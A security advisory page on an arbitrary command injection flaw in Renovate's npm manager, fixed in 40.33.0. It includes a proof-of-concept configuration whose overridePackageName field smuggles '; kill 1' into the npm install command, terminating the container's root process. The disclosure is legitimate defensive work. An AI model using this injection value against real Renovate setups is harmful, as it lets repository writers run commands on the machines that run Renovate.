Renovate vulnerable to arbitrary command injection via npm manager and malicious Renovate configuration
Key facts
- Attack vector
- —
- Privileges required
- —
- User interaction
- —
- Attack complexity
- —
- Impact type
- Code execution
- Confidentiality · integrity · availability
- —
- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-77.
Summary
### Summary The user-provided string `packageName` in the `npm` manager is appended to the `npm install` command during lock maintenance without proper sanitization. ### Details Adversaries can provide a maliciously crafted Renovate configuration file to trick Renovate to execute arbitrary code. The user-provided workspace names and package keys that are added to the `updateCmd` variables in [lib/modules/manager/npm/post-update/npm.ts](https://github.com/renovatebot/renovate/blob/5bdaf47eebde770107017c47557bca41189db588/lib/modules/manager/npm/post-update/npm.ts) are not being escaped using the `quote` function from the `shlex` package. This lack of proper sanitization has been present in the product since version 35.63.0 (https://github.com/renovatebot/renovate/commit/012c0ac2fe32832e60a62bde405c0a241efd314c), released on April 27 of 2023. ### PoC 1. Create a git repo with the following content: `renovate.json5`: ```json5 { $schema: "https://docs.renovatebot.com/renovate-schema.json", customDatasources: { always: { defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json", transformTemplates: ['{"releases":[{"version":"11.1.0"}]}'], }, }, packageRules: [ { // Target of the day matchManagers: ["npm"], // Provide a command in the package name overridePackageName: "; kill 1; echo ", // Override the datasource to prevent a lookup failure overrideDatasource: "custom.always", }, ], } ``` `package.json`: ```json { "name": "renovate-aci-4", "version": "0.0.1", "dependencies": { "uuid": "^11.0.0" } } ``` `package-lock.json`: ```json { "name": "renovate-aci-4", "version": "0.0.1", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "renovate-aci-4", "version": "0.0.1", "dependencies": { "uuid": "^11.0.0" } }, "node_modules/uuid": { "version": "11.0.0", "resolved": "https://registry.npmjs.org/uuid/-/uuid-11.0.0.tgz", "integrity": "sha512-iE8Fa5fgBY4rN5GvNUJ8TSwO1QG7TzdPfhrJczf6XJ6mZUxh/GX433N70fCiJL9h8EKP5ayEIo0Q6EBQGWHFqA==", "funding": [ "https://github.com/sponsors/broofa", "https://github.com/sponsors/ctavan" ], "license": "MIT", "bin": { "uuid": "dist/esm/bin/uuid" } } } } ``` 2. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of `kill 1`, terminating the root process of the container. > [!NOTE] > This specific proof of concept relies on the introduction of the `overrideDatasource` and `overridePackageName` configuration, available since version 38.120.0 (https://github.com/renovatebot/renovate/commit/a70a6a376d31148e80be5a5c885ac33ff5ddb30c), released on October 12 of 2024. ### Impact This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | renovate (npm) | 35.63.0 to before 40.33.0 | 40.33.0 | Patch available | GHSA-fr4j-65pv-gjjj |
- renovate (npm) Vendor— Affected 35.63.0 to before 40.33.0 Fixed in 40.33.0 Patch available GHSA-fr4j-65pv-gjjj
Remediation
- Fix · GHSA-fr4j-65pv-gjjj renovate (npm) Fixed in 40.33.0 Advisory →
Timeline
- 2026-10-03 Threatist record created from GHSA-fr4j-65pv-gjjj
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences